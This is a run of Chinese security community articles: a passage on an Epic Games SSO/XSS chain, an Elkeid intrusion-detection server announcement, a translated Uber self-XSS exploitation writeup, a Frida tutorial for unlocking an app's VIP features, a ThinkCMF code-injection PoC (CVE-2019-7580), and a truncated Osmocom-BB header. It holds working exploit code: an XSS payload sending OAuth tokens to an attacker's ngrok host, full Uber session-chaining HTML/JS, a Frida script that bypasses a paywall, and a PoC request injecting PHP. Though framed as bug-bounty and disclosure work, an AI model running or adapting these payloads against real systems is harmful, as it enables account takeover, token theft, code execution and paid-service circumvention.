Games会生成一个包含`redirectURL`参数的URL（如下所示）。这个参数会在之后被“accounts.epicgames.com”用于重定向到用户的账户界面。
[https://accounts.epicgames.com/login?productName=epic-games&lang=en_US&redirectUrl=https%3A%2F%2Fwww.epicgames.com%2Fsite%2Fen-US%2Fhome&client_id=[cliend_id]&noHostRedirect=true](https://accounts.epicgames.com/login?productName=epic-games&lang=en_US&redirectUrl=https%3A%2F%2Fwww.epicgames.com%2Fsite%2Fen-US%2Fhome&client_id=\[cliend_id\]&noHostRedirect=true)
**5** ：玩家登录其帐户后的重定向链接。
然而，我们很快就发现了可以控制重定向URL让其定向到任意域名为“* .epicgames.com”的网页。
因为能“redirectedURL”参数可控，我们就可以让受害者重定向到包含XSS payload的“ut2004stats.epicgames.com”：
http://ut2004stats.epicgames.com/index.php?stats=maps&SearchName=”><script%20src=%27%2f%2fbit.ly%2f2QlSHBO%27><%2fscript>
这个JavaScript
payload可以向任意SSO提供商发起请求。请求中包含一个“state”参数，其后“accounts.epicgames.com”使用这个参数完成认证过程。
JavaScript
payload包含构造过的“state”参数。这个参数包含一个Base64编码过的JSON数据，JSON有三个键“redirectUrl”、“client_id”和“prodectName”。“redirectURL”参数用于在SSO登陆后重定向。
# 多个SSO提供商
尝试登录堡垒之夜的用户会注意到Epic Games使用了多个SSO提供商：PlayStationNetwork、Xbox
Live、Nintendo、Fackbook和Google+。使用相同的技术，都可以使这些SSO提供商中的其中一个重新创建与上述相同的过程。出于验证目的，我们选择Fackbook作为SSO提供商。
如您所见，我们构造了“state”参数，它会重定向到一个带XSS payload的“ut2004stats.epicgames.com”页面。
[https://www.facebook.com/dialog/oauth?client_id=1132078350149238&redirect_uri=https://accounts.epicgames.com/OAuthAuthorized&state=eyJpc1BvcHVwIjoidHJ1ZSIsImlzQ3JlYXRlRmxvdyI6InRydWUiLCJpc1dlYiI6InRydWUiLCJvYXV0aFJlZGlyZWN0VXJsIjoiaHR0cDovL3V0MjAwNHN0YXRzLmVwaWNnYW1lcy5jb20vaW5kZXgucGhwP3N0YXRzPW1hcHMmU2VhcmNoTmFtZT0lMjIlM2UlM2NzY3JpcHQlMjBzcmM9JyUyZiUyZmJpdC5seSUyZjJRbFNIQk8nJTNlJTNjJTJmc2NyaXB0JTNlJTJmIyUyZiJ9&response_type=code&display=popup&scope=email,public_profile,user_friends](https://www.facebook.com/dialog/oauth?client_id=1132078350149238&redirect_uri=https://accounts.epicgames.com/OAuthAuthorized&state=eyJpc1BvcHVwIjoidHJ1ZSIsImlzQ3JlYXRlRmxvdyI6InRydWUiLCJpc1dlYiI6InRydWUiLCJvYXV0aFJlZGlyZWN0VXJsIjoiaHR0cDovL3V0MjAwNHN0YXRzLmVwaWNnYW1lcy5jb20vaW5kZXgucGhwP3N0YXRzPW1hcHMmU2VhcmNoTmFtZT0lMjIlM2UlM2NzY3JpcHQlMjBzcmM9JyUyZiUyZmJpdC5seSUyZjJRbFNIQk8nJTNlJTNjJTJmc2NyaXB0JTNlJTJmIyUyZiJ9&response_type=code&display=popup&scope=email,public_profile,user_friends)
**图6：** 重定向到有XSS payload的“ut2004stats.epicgames.com”
SSO提供商（本例中为Facebook），返回一个重定向到“accounts.epicgames.com”响应，响应里包含构造过的“state”参数。
**图7：** Facebook对重定向到包含构造过的“state”参数的“accounts.epicgames.com”的响应。
接着，Epic Games从SSO提供商处获取“代码”（即SSO令牌）和构造过的“state”参数，并向Epic Games的服务器发起请求以完成认证：
**图8：** Epic Games对其服务器的请求，带有从SSO收到的攻击者构造的“state”参数。
作为回应，Epic Games的服务器生成一个未验证输入的响应，并将用户重定向至有XSS
payload和SSO令牌的“ut2004stats.epicgames.com”：
**图9：** Epic Games的服务器响应未验证的输入，并使用XSS
payload和SSO令牌将用户重定向到“ut2004stats.epicgames.com”。
最后，用户被重定向至执行XSS的漏洞网页，身份验证代码被窃取：
**图10** ：执行XSS的漏洞网页
这里一个大问题（对于Epic Games而言）是服务器端未对“state”参数进行输入验证。
注意，我们现在重定向到了有XSS漏洞的“ut2004stats.epicgames.com”页面。因此虽然“CORS”机制是由Epic
Games实现的，但“ut2004stats.epicgames.com”仍可以向“account.epicgames.com”发起请求。
# 绕过WAF
当执行XSS payload时，请求被WAF拦截了。显然，唯一的问题就是脚本的src URL过长，所以使用短URL就可以绕过了。
现在我们有一个可以加载自己的JavaScript的XSS，然后它会在“ut2004stats.epicgames.com”的内容中被执行。
是时候写一些JavaScript代码了：
**图11：** 用于传递XSS payload的JavaScript代码。
# XSS Payload
该代码会打开一个窗口，向SSO提供商服务器（本例中为Facebook）发出oAuth请求，其中包含所有用户cookie和构造过的的“state”参数。
Fackbook返回一个重定向到“account.epicgames.com”的响应，其中包含SSO令牌（“code”参数）以及构造过的“state参数”。
由于用户已经登录到了他的Fackbook账户，“account.epicgames.com”服务器会重定向到“state”参数中找到的URL，本例中会带着XSS
Payload和Facebook的用户oAuth令牌跳转到“ut2004stats.epicgames.com”页面。
最后，令牌被提取出来，发送到攻击者的服务器（出于验证目的我们使用“ngrok”服务器——<http://0aa62240.ngrok.io/）>
**图12：** Ngrok服务器接收带有SSO令牌的请求。
**图13：** Ngrok服务器接收带有SSO令牌的请求。
攻击者现在拥有用户的Facebook令牌，可以登录受害者的帐户：
**图14：** 攻击者捕获到的用户的Facebook令牌。 | 社区文章 |
**作者：Elkeid Team
公众号：[灾难控制 局](https://mp.weixin.qq.com/s/cKV3kaBhDdQCcVMk5D_zgQ "灾难控制 局")**
此前我们已开源了自研的主机层入侵检测系统Elkeid(原AgentSmith-HIDS)端上的能力(Agent/Driver/以及部分Agent插件)。本次为Elkeid开源计划的第二部分：Server后台模块。
目前，Elkeid完整版本部署规模已达到100万量级，其稳定性/性能/数据采集能力/检测能力/溯源能力等均得到了实战验证，均有不俗表现。
我们希望通过开源的方式和大家分享我们踩过的坑，向优秀同行学习，回馈行业。
### 关于 Elkeid Server
Elkeid Server 需要配合端上的数据采集层(Elkeid
Driver/Agent)一起使用，实现了对大规模Agent的监控，管理和策略更新。能适配各种复杂的网络环境，可单机也可集群部署。具体部署方案，请移步Repo查看。
开源地址：<https://github.com/bytedance/Elkeid/tree/main/server>
开源协议：Apache-2.0
### Elkeid Server 组件简介
Elkeid Server 架构如下：
Elkeid Server 大体包含4个模块：
* AgentCenter：负责与Agent进行通信，采集Agent数据并简单处理后汇总到消息队列集群，同时也负责对Agent进行管理包括Agent的升级，配置修改，任务下发等。
* ServiceDiscovery：后台中的各个服务模块都需要向ServiceDiscovery中心定时注册、同步服务信息，从而保证各个服务模块中的实例相互可见，便于直接通信。
* Manager：负责对整个后台进行管理并提供相关的查询、管理接口。
* 实时/离线计算模块：消费server采集到消息队列中的数据，进行实时和离线的分析与检测。（此部分还未开源）
简单来说就是：
* AgentCenter收集Agent数据
* Manager管理着AgentCenter和这些计算模块
* ServiceDiscovery把这些所有的服务、节点都串联了起来
* 实时/离线计算模块对这些数据进行分析和检测
本次开源部分是架构图中的AgentCenter、ServiceDiscovery和Manager三部分。
### 产品优势
* 百万级Agent的后台架构解决方案
* 分布式，去中心化，集群高可用
* 部署简单，依赖少，便于维护
### 资源需求参照表
### 技术细节
#### Elkeid AgentCenter（下面简称AC）
AC一方面需要从Agent采集数据并进行初步处理，然后把处理后数据写入Kafka集群（供后续分析模块消费），另一方面要向Agent下发指令，这个通信是双向的。
同时AC也对外提供HTTP接口，Manager通过这些HTTP接口实现对AC和Agent的管理和监控。
示意图：
相关技术介绍：
* 通信效率：在百万级Agent的情况下，如此大量级的数据对后端的压力不容小觑。而通信和处理效率主要受通信协议和编码方式的影响。对比各种通信方式，我们最终选择使用gRPC双向流的方式。
* 一方面gRPC基于HTTP2协议标准设计开发，相对于其他RPC框架，gRPC带来了更多强大功能，如双向流、头部压缩等。这些都很好的符合我们现在的需求，同时通信效率也很高。
* 另一方面我们采用Protobuf作为编码方式。Protobuf具备了标准的IDL和IDL编译器，同时序列化数据非常简洁，紧凑；另外编解码速度在众多序列化协议中也处于领先。
* 通信安全性：Agent是具备root权限的应用，Server具备对Agent下发指令的能力，如果通信链路被控制，将是灾难性的。这里我们使用了双向SSL校验，一方面保证了Agent/Server不会与未知的对端通信，另一方面SSL也保证了通信过程数据都是加密的。
#### Elkeid Service Discovery（下面简称SD）
服务发现/负载均衡机制大致两个设计思路，一个集中代理，一个是端代理。
集中代理方式例如F5、nginx，请求先发送到集中代理点，代理再根据一定的负载均衡算法进行转发，服务的响应也会先到代理点，再转发到请求端。这个方式虽然是最常见的，但有两个问题，一个是经过代理来回转发，请求响应的时延会增加，另一个是在大规模Agent请求下，代理点的负载压力太大，因此在大规模部署的环境下不能使用这个方案。
端代理方式需要一个服务发现注册中心的服务，如下：
示意图：
相关技术介绍：
* 服务提供方定时向SD发送注册信息，包括服务名字，实例ip，端口，负载状态等，这样SD就维护着所有这个服务实例的状态。
* SD这个服务中的各个节点间需要进行数据同步，例如上面1中注册信息发送到NodeA上，NodeA需要把这个信息同步给NodeB，这样如果有请求访问NodeB，NodeB也有对应的注册信息。
* 服务使用方通过服务名，请求服务发现/注册中心，获取对应服务名下能使用的实例IP、端口列表，进而可以直接访问。
* SD各个节点间的数据同步是以广播的方式批量同步，保证了一定的性能。某个时间点节点间的数据并不是一致的，但最终能保持一致，满足分布式CAP理论中的AP，在大规模Agent，AC场景下，并没什么影响。此外也没用到任何一致性中间件（etcd，zookeeper等），部署方便，维护简单。
* 由于SD维护了各个注册服务的状态信息，所以当服务使用方在请求服务发现时，SD会进行负载均衡。比如Agent请求获取AC实例列表，SD直接返回负载压力最小的AC实例。
#### Elkeid Manager
Manager管理整个后台，并提供各种查询、管理接口。包括管理AC集群，监控AC状态，控制AC服务相关参数，并通过AC管理所有的Agent，收集Agent运行状态，往Agent下发任务，同时manager也管理实时和离线计算集群。
鉴于Manager管理着后台的各个集群，所以任何的管理操作都是对集群的操作，调用Manger的接口请求会通过Manager转发给目标集群所有的节点，然后再收集所有节点的响应，再进行处理。为了提升这个过程的响应速度和稳定性，Manager内部实现了一个简单的分布式任务管理系统。
示意图：
相关技术介绍：
* Manager向集群发送请求，为提高并发能力，会启动多个协程同时下发。
* Manager本身也是个集群，同一个任务Manager节点间也会进行同步，进一步提升任务下发的并发能力。例如，10个manager节点要操作一个1000个节点的集群，一个操作指令会同步到10个manager节点，每个节点可以启动100个协程并发的向1000个节点下发操作命令。
* 返回的结果会在全局的存储和缓存里进行处理、汇总。
* 当前支持的功能有：
* Agent管理：Tags
* Agent任务下发：分布式任务下发，并行处理，重试
* AC负载均衡控制：根据AC负载，动态调整AC连接数
* Agent状态采集和统计
* Agent任务查询与对账
### Elkeid Agent版本更新
之前的Elkeid
Agent受限于Server没有开源，提供受限的数据传输能力(kafka)，所以裁剪了较多功能(主要是与数据传输、指令下发、插件配置相关)。
在这次Server开源之后，Agent也一同进行了更新，在使用新版本Agent时请注意以下四点：
**1.编译Agent所需的Go编译链升级到了1.16**
在最新版本Agent中用到了1.16编译链的go
embed功能，另外优化了内存使用情况，详情查看：<https://golang.org/doc/go1.16>
**2.编译前对通信相关的安全证书、参数进行配置**
agent/transport/connection
目录中的ca.crt、client.key、client.crt分别是自签名的ca证书，客户端私钥，客户端证书，请与Server生成证书时一同替换修改。product.go中可以配置与Server通信的地址，并支持复杂网络情况下的通信配置，具体请查看Agent的readme。
**3.功能插件的开启与关闭不再依赖config.yaml，通过Manager API动态下发**
每个Agent默认是空配置，不具备任何安全能力，只承载控制/通信/自身监控能力。如果需要开启安全功能，需要通过相应API进行配置并下发插件，配置将会持久化存储在后端，并在连接建立时自动下发。进一步，可以通过下发配置对Agent进行自升级(需要被守护拉起)，或者升级指定功能插件。
**4.请自行选用合适的守护/自保护方式，并置于后台执行**
推荐采用systemd托管服务，并加入cgroup限制资源使用，设置进程工作目录等，否则可能会出现自升级等功能异常的情况。
### 后续计划
Elkeid 会长期维护更新；且后续会陆续开源更多Agent Plugin以及RSAP。
我们计划22年4月底/五月初在飞书群【 Elkeid 交流群】举行一次线上的技术交流，主要内容是Elkeid
Server开源版本的设计实现细节和代码结构等，欢迎大家关注。
### 致谢及交流
非常感谢项目开发/推动过程中相关团队/同学的支持与帮助。
欢迎大家通过GitHub或飞书群【 Elkeid 交流群】进行交流讨论和建议反馈。
Elkeid项目地址: <https://github.com/bytedance/Elkeid>
飞书群二维码： 
* * * | 社区文章 |
# 优步漏洞悬赏：将self-xss变成可用的xss
在优步的[partner入口](https://partners.uber.com)，也就是司机们可以登录然后更新他们的细节的界面，我找到了一个非常简单经典的XSS：把个人信息的一项改为:
<script>alert(document.domain);</script>
会导致代码被执行，然后一个alert会弹出。
这个点在登录后用了两分钟就找到了，之后才是有意思的地方。
## Self-XSS
有能力在其他界面的里执行额外的任意js代码被称作[XSS](https://en.wikipedia.org/wiki/Cross-site_scripting)(我觉得其实看我文章的99%都应该知道)。正常情况下，我们更希望针对其他用户来做XSS，这样才能拿到cookie，提交XHR请求之类的，如果你
**不能** 对其他用户做XSS，例如，这个代码只在你自己的账户里边执行了，这就叫self-xss。
现在我们找到的这个就好像是这种情况。你自己的个人信息界面里的地址部分只显示给你自己了（除非有其他的内部优步工具也显示了这个地址，但那种情况就不是我们正常考虑的了），我们也不能更改其他用户的地址来强制对他们进行XSS。
我其实一直不是很想提交有潜在的漏洞（在这个页面上的XSS还是挺酷的），所以我们来想想办法把self-xss中self的部分去了。
## 优步OAuth登录工作流程
优步用到的[OAuth](https://en.wikipedia.org/wiki/OAuth)工作流程还是比较典型的：
* 用户浏览到需要登录的优步网站，比如: `partners.uber.com``
* 用户被重定向到授权服务器：`login.uber.com``
* 用户输入口令
* 用户带着一段code重定向回`partners.uber.com`，之后code可以被换成access token
为了防止在上面的截图里看的不够清楚，OAuth的回调:
/oauth/callback?code=...
里没有使用到推荐的`state`参数，这就导致了一个在登录功能里的可能不算很重要的`CSRF`漏洞。
另外，登出的功能也存在一个完全不算问题的CSRF漏洞。浏览到`/logout`会摧毁用户的`partner.uber.com`的session，然后重定向到`login.uber.com`的登出功能。
由于我们的payload只在账号内有效，我们需要把用户登录到我们的账号，这样就会执行我们的payload然而，把他们登录到我们的账号就会导致他们的session被摧毁，这样就导致这个漏洞的大部分价值也没了（因为没有办法再以他们账号的名义去执行行为），所以让我们来把这三个小问题（self-xss和两个CSRF）链在一起。
（关于OAuth安全的其他内容可以去查看@homakov的指导）
## 把小漏洞串起来
我们的计划有三个部分：
* 第一，把用户从他们的`partner.uber.com`session里登出，但是不登出`login.uber.com`的session，这保证我们可以登回他们的账号
* 第二，把用户登录到 **我们的** 账号，这样payload就可以被执行
* 最后，在代码还在执行的时候把他们登录回自己的账号，这样我们就可以获取到他们的信息了.
### 步骤1:仅登出一个domain
我们首先想要发出一个请求到:
这样我们就可以让他们登录自己的账号。但是问题在于到这个位置的请求会导致一个302重定向到:
https://login.uber.com/logout/
这样就会销毁掉session。我们没办法截断每一个重定向然后drop掉请求，因为是浏览器隐式的去follow的。但是一个我们可以用的trick是通过[CSP](https://developer.mozilla.org/en-US/docs/Web/Security/CSP)来定义哪些源是允许加载的（我希望你可以看出来这里我们使用一个本应该在这个情况帮助缓解XSS的特性的讽刺意义。。）
我们把策略设置为仅允许请求到:
partners.uber.com
但是会阻挡:
https://login.uber.com/logout/
<!-- Set content security policy to block requests to login.uber.com, so the target maintains their session -->
<meta http-equiv="Content-Security-Policy" content="img-src https://partners.uber.com">
<!-- Logout of partners.uber.com -->
<img src="">
通过违反CSP的错误信息我们可以看到这个方法是可以的
## 步骤2：登录到我们的账号
这一步相对简单，我们发一个请求到：
https://parners.uber.com/login/
来初始化登录（这一步是必须的，否则应用程序不会接受回调函数），通过CSP
trick我们防止了整个工作流被完成，之后我们填入我们自己的`code`（code可以通过登录进我们自己的账号去获取），这样就会登录进我们的账号了。
由于CSP违反会导致`onerror`事件handler被触发，我们可以通过这样的方式来跳入下一步：
<!-- Set content security policy to block requests to login.uber.com, so the target maintains their session -->
<!-- 设置CSP阻挡到login.uber.com的请求，这样目标就会维持他们的session -->
<meta http-equiv="Content-Security-Policy" content="img-src partners.uber.com">
<!-- Logout of partners.uber.com -->
<!-- 登出partners.uber.com -->
<img src="" onerror="login();">
<script>
//Initiate login so that we can redirect them
// 初始化login，这样我们就可以重定向了
var login = function() {
var loginImg = document.createElement('img');
loginImg.src = 'https://partners.uber.com/login/';
loginImg.onerror = redir;
}
//Redirect them to login with our code
// 通过我们的代码重定向到login
var redir = function() {
//Get the code from the URL to make it easy for testing
var code = window.location.hash.slice(1);
var loginImg2 = document.createElement('img');
loginImg2.src = 'https://partners.uber.com/oauth/callback?code=' + code;
loginImg2.onerror = function() {
//Redirect to the profile page with the payload
window.location = 'https://partners.uber.com/profile/';
}
}
</script>
## 步骤3：切回我们的账号
这一段是会被包含为XSS payload的代码，存储在我们的账号里。
一旦payload被执行了，我们可以切回我们的账号。
这 **必须** 在一个iframe里——我们得能够继续跑我们的代码。
// Create the iframe to log the user out of our account and back into theirs
// 创建一个iframe来登出用户的账号，然后登回我们的
var loginIframe = document.createElement('iframe');
loginIframe.setAttribute('src', 'https://fin1te.net/poc/uber/login-target.html');
document.body.appendChild(loginIframe);
iframe的内容再次使用了CSP的技巧：
<!-- Set content security policy to block requests to login.uber.com, so the target maintains their session -->
<!-- 设置CSP阻挡到lgoin.uber.com的请求，这样目标维持他们的session -->
<meta http-equiv="Content-Security-Policy" content="img-src partners.uber.com">
<!-- Log the user out of our partner account -->
<!-- 将用户从他们的partner账户中登出 -->
<img src="" onerror="redir();">
<script>
//Log them into partners via their session on login.uber.com
//通过login.uber.com的session登录到partners
var redir = function() {
window.location = 'https://partners.uber.com/login/';
};
</script>
最后一部分是创建 **另外一个** iframe，这样我们就可以获取一些数据了：
//Wait a few seconds, then load the profile page, which is now *their* profile
//等几秒钟，然后加载个人信息页面，也就是他们自己的信息
setTimeout(function() {
var profileIframe = document.createElement('iframe');
profileIframe.setAttribute('src', 'https://partners.uber.com/profile/');
profileIframe.setAttribute('id', 'pi');
document.body.appendChild(profileIframe);
//Extract their email as PoC
// 获取他们的邮件作为poc
profileIframe.onload = function() {
var d = document.getElementById('pi').contentWindow.document.body.innerHTML;
var matches = /value="([^"]+)" name="email"/.exec(d);
alert(matches[1]);
}
}, 9000);
由于我们最后的iframe是和包含我们js的个人信息页同源的位置加载的，以及
X-Frame-Options
被设置为`sameorigin`
而不是`deny`，我们可以通过(`contentWindow`访问其中的内容）
# 总结
经过这一系列步骤的组合，我们得到了以下的攻击流：
* 把步骤3里的payload加到我们自己的个人信息页
* 登录进我们自己的账号，但是取消掉回调，然后记下没有用到的`code`参数
* 让用户去访问我们在步骤2里创建的文件——这一步与你想进行反射XSS攻击的情况类似
* 用户这时会被登出，然后登录进我们的账号
* 步骤3里的payload被执行
* 在隐藏iframe里，被攻击者被登出 **我们的** 账号
* 在另外一个隐藏iframe里，被攻击者被登录进 **他们的** 账号
* 现在我们有一个iframe，与包含用户session的同源
这个bug很有趣，而且证明了一个漏洞可以比原来以为的有更大的影响。
# 原文链接
<https://whitton.io/articles/uber-turning-self-xss-into-good-xss/> | 社区文章 |
## 前言
今天拿到了新玩具JEB 3.17.1，想测试一下，顺便学习学习Android逆向，于是找了一个apk准备试试水，看看能不能搞到VIP。
## 初步分析
拖入jeb查看
嗯。。google一下
几维安全的壳，虚拟化很烦，也没什么好的脱壳工具，于是切换思路
从本质上来说，虚拟化就是自己实现了一套基本的cpu指令，通过自己的解释器解释给机器。因此想要在虚拟化之后仍然能让机器运行，当然还得还原代码给机器，只不过可能在内存中释放，加大了静态分析的难度。
那么直接让apk运行起来，我们去dump虚拟机自解密出来的dex不就好了么。
## frida dump dex
**frida 是一款基于 python+javascript 的 hook 框架，可运行在
android、ios、linux、win等各个平台，主要使用的动态二进制插桩技术。**
总之frida是非常强大的，可以实现很多奇妙操作。
### 安装
pip3 install frida
### frida-server
<https://github.com/frida/frida/releases>
到上面链接里找到对应手机架构，与frida版本相同的frida-server
移动frida-server到安卓的/data/local/tmp目录
./adb push frida-server /data/local/tmp
./adb kill-server && ./adb server && ./adb shell # 这里我用了mumu模拟器，其他虚拟机连接adb方法请自行查询
cd /data/local/tmp
chmod 777 frida-server
./frida-server #开始你的炸弹秀
### frida脚本
这里使用了FRIDA-DEXDump <https://github.com/hluwa/FRIDA-DEXDump>
其原理就是在内存中检索dex035头并获取dex长度，然后提取出来。当然，这样做会将内存中所有的dex包都提取出来，具体哪个才是我们需要的得根据包名判断并静态分析查看。
python3 ./main.py
这里我成功提取到了无壳dex，包名都比较清晰
## 抓包分析
既然壳不好脱而且脱下来的又不容易修复，就考虑先看看封包里有没有VIP数据
使用HttpCanary对apk进行抓包
抓到了一个登陆验证包
但响应里没有我们想要的信息，只是一个随时变动的值而已
看来抓包这条路走不通了，我们接下来只能分析拿到的dex。
## JEB静态分析
我们使用JEB来分析我们拿到的dex，查看包的层级数，定位到目标apk的包名，这里的命名都很清晰，直接按单词分析即可。
我这次用来当例子的是一个类似抖音快手的app，有视频和直播两个Activity，视频每天只能看十个（最坑的是重复点十次也算），然后就要求充值VIP，用户进入后可以不登录，会自动生成一个ID，且读取系统信息作为认证，所以重复的卸载安装当然是绕不过次数限制的。
**所以我们的目标就是通过frida hook函数使我们绕过限制，成为VIP。**
查看原apk文件的Manifest
这个权限它就离谱。。。
我们来看Activity的启动顺序
先来了一个开屏广告SplashActivity，然后加载Main和Live顺便走一遍登录注册。
一般判断用户是否是VIP，可能存在多处判断，这样的话我们hook的点会量很大，而且可能存在漏掉的情况，因此去找变量最初赋值的位置来hook是从源头上控制了数据，而且前面封包分析发现用户数据请求发送后给我们的响应不包含VIP确认数据，因此可以说是万无一失。
回到层级目录分析，我们发现video/bean这个包里有我们感兴趣的东西，应该是包含了短视频相关数据。
查看TouseinfoBean这个类
我们发现这里应该包含了用户数据，修改此处就可以了。
但事情没有那么简单，通过交叉引用我们发现这个类根本没有被实例化（ ~~可能是写着写着忘了又重新写了一个用户管理模块？？？~~ ）
搜索字符串后并没有什么有用的发现，分析良久才想到从包层级列表搜索方法，豁然开朗（还是太菜）。
嗯。。原来把直播和视频的vip管理合并到一个包了。
com.xxx.bean下有二十多个类，只能一个一个分析了，最后发现了几个有用的类
其中UserBean用来管理用户信息，评论，VIP相关等等，UserLevelBean管理用户经验之类的信息。
UserBean类中以下三个方法是我们的Hook点
@JSONField(name = "vvLevel")
public String getVVLevel() {
return this.vvLevel;
}
@JSONField(name = "isVV")
public boolean isVV() {
return this.isVV;
}
public int getLevel() {
if(this.level == 0) {
this.level = 1;
}
return this.level;
}
## 编写frida脚本穿透加固 Hook Java层函数
没有加固的apk，一般来说直接改smali重新打包就行，而像我们现在遇到的壳，修复dex打包是一件很费力的事情，在这里frida的强大就体现出来了。
[使用frida来hook加固的Android应用的java层](https://bbs.pediy.com/thread-246767.htm)
的原理可以看这里，简单来说就是拿到加载应用本身dex的classloader，通过这个classloader去找到被加固的类，通过这个类去Hook需要Hook的方法。
因此要穿透加固 Hook Java层函数的jscode模版如下：
if(Java.available) {
Java.perform(function(){
var application = Java.use("android.app.Application");
application.attach.overload('android.content.Context').implementation = function(context) {
var result = this.attach(context); // 先执行原来的attach方法
var classloader = context.getClassLoader(); // 获取classloader
Java.classFactory.loader = classloader;
var Hook_class = Java.classFactory.use("com.xxx.类名");
console.log("Hook_class: " + Hook_class);
// 下面代码和写正常的hook一样
Hook_class.方法名.implementation = function() // 有参数填参数
{
//要执行的操作
}
return result;
}
});
}
根据上面对Hook点的分析，我们可以写出以下jscode
if(Java.available) {
console.log('ok111');
Java.perform(function(){
var application = Java.use("android.app.Application");
console.log('ok222');
application.attach.overload('android.content.Context').implementation = function(context) {
console.log('ok333');
var result = this.attach(context); // 先执行原来的attach方法
var classloader = context.getClassLoader(); // 获取classloader
Java.classFactory.loader = classloader;
console.log('ok444');
var userinfo = Java.classFactory.use("com.xxx.bean.UserBean");
console.log("user: " + userinfo);
userinfo.getLevel.implementation = function(){
return 10;
}
userinfo.isVV.implementation = function(){
return true;
}
userinfo.getVVLevel.implementation = function(){
return "9";
}
return result;
}
});
}
## 注入frida Hook脚本
frida注入脚本有两种方式，使用python作为载体，直接运行脚本即可。
import frida, sys
# hook代码，采用javascript编写
jscode = """
//javascript代码
"""
# 自定义回调函数
def on_message(message, data):
if message['type'] == 'send':
print("[*] {0}".format(message['payload']))
else:
print(message)
process = frida.get_usb_device().attach('应用完整包名')
script = process.create_script(jscode)
script.on('message', on_message)
script.load()
sys.stdin.read()
或者使用命令行方式，当然了，还需要安装frida-tools
pip3 install frida-tools
这里我使用命令行方式（这里有个坑，必须按我给出的顺序，不然会报错无法连接）
先连接adb
./adb kill-server && ./adb server && ./adb shell // mumu模拟器连接方式，其他模拟器自行查询
新开一个shell，打开tcp转发，默认为27042端口，但是有些app会检测这个端口，因此我们来自定义一个
./adb forward tcp:1234 tcp:1234
回到第一个shell，我们已经连接到了adb，直接输入
./data/local/tmp/frida-server -l 0.0.0.0:1234
在第二个shell中执行注入命令
frida -H 127.0.0.1:1234 -f com.xxx -l hook.js
成功连接后命令行有如下回显
输入 %resume 对应的apk自启，没有报错则成功注入
我这里还加了一些流程和类名的输出
测试apk，已经可以了，其他功能思路差不多，Hook就行。
## 参考
<https://bbs.pediy.com/thread-246767.htm>
[https://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=1&cad=rja&uact=8&ved=2ahUKEwih5Ja1rv7oAhW0IaYKHegbDKkQrAIoADAAegQIARAI&url=https%3A%2F%2Fbbs.pediy.com%2Fthread-249602.htm&usg=AOvVaw1NsItIh36jELfizdNiiAdL](https://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=1&cad=rja&uact=8&ved=2ahUKEwih5Ja1rv7oAhW0IaYKHegbDKkQrAIoADAAegQIARAI&url=https%3A%2F%2Fbbs.pediy.com%2Fthread-249602.htm&usg=AOvVaw1NsItIh36jELfizdNiiAdL) | 社区文章 |
# 0x00 环境搭建
首先去thinkcmf下载5.0的最新版
<https://github.com/thinkcmf/thinkcmf/archive/5.0.190111.zip>
切换到web根目录下，比如/var/www，然后新建一个目录：ThinkCMF-5.0.190111
把除public目录外的文件都移动到ThinkCMF-5.0.190111下。然后修改index.php，将其中的
define('CMF_ROOT', __DIR__ . '/../');
修改为
define('CMF_ROOT', __DIR__ . '/ThinkCMF-5.0.190111/');
然后一步步完成安装。
参考：<https://blog.csdn.net/youaregoo/article/details/82219722>
# 0x01 利用过程：
后台登录状态下，
1、将payload插入数据库并读取然后写入data/conf/route.php文件
POST /portal/admin_category/addpost.html
parent_id=0&name=111&alias=a'=>array(%22%22)%2csleep(5)%2c'b
2、然后访问：
/portal/admin_category/index.html
触发
include data/conf/route.php
操作，执行payload。下图以执行sleep(5)作为演示。
# 0x02 利用过程与分析
## 1、将payload插入数据库，写入data/conf/route.php文件
程序的入口是index.php,在index.php中\think\App::run()执行应用。
在App.php的run()函数139行，执行sef::exec();
通过解析url，得到处理此次请求的控制器、类、函数，即`AdminCategoryController.php`的`addPost`函数。然后调用`self::invokeMethod()`。
通过反射执行`AdminCategoryController.php`的`addPost`函数。
在addPost函数中，从$this->request->param()函数中得到请求中的参数传递给$data。
然后通过$this->validata调用父类(./simplewind/thinkphp/library/think/Controller.php)的validata函数进行过滤。然后将$data传入`./app/portal/model/PortalCategoryModel.php`的addCategory函数进行实际的"添加分类"操作。
在addCategory函数中，184行这一句：
$findRoute = $this->where('full_url', $fullUrl)->find();
通过查询数据中是否存在对应的url，由于是第一次插入，所以这里并没有查到。
154行和155行通过`setRoute`函数对数据库进行了两次插入操作。
根入`setRoute`函数，
其中$fullUrl和$url的值如截图所示。
继续跟，
在34行从数据库中查询查询相关数据，
$routes = $this->where("status", 1)->order("list_order asc")->select();
在`addCategory`函数的157行调用
$routeModel->getRoutes(true);
最终得到`$allroutes`的值,创建`data/conf`目录，然后拼接待写入的`route.php`文件的完整路径，最后调用`file_put_contents()`完成写入。可见这个漏洞在于没有对`alias`参数中的单引号进行过滤，导致可通过闭合前后的单引号插入用户可控的payload。
写入前后对比如下：
## 2、触发payload执行
带着登录的cookie访问`/portal/admin_category/index.html`，调用`routeCheck`函数进行url路由检测
这里先
include app/route.php
然后，
include data/conf/route.php
最终执行我们的payload：`phpinfo()`。
# 0x03 Demo
# 0x04 附PoC：
POST /portal/admin_category/addpost.html HTTP/1.1
Host: 192.168.170.209
Content-Length: 183
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: PHPSESSID=of2ar92rpeucrh4cg6s4t4dae6; admin_username=admin
Connection: close
parent_id=0&name=111&alias=1'%3D%3Earray(%22%22)%2Cphpinfo()%2C'2
# 0x05 后记
2月7日分配了CVE编号：[CVE-2019-7580](https://nvd.nist.gov/vuln/detail/CVE-2019-7580)
> ThinkCMF 5.0.190111 allows remote attackers to execute arbitrary PHP code
> via the portal/admin_category/addpost.html alias parameter because the
> mishandling of a single quote character allows data/conf/route.php
> injection.
这个漏洞是在复现thinkcmf的[CVE-2019-6713](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-6713)的时候发现的。
根据其描述
> by using vectors involving portal/List/index and list/:id to inject this
> code into data\conf\route.php, as demonstrated by a file_put_contents call.
提到`file_put_contents`，猜想这可能是一个文件写入漏洞。然后搜索route.php，发现`添加分类`处可以写入该文件。
# 0x06 参考
<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-6713> | 社区文章 |
# 【技术分享】Osmocom-BB项目安装与配置（含错误解决方法）
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
****
**作者：**[
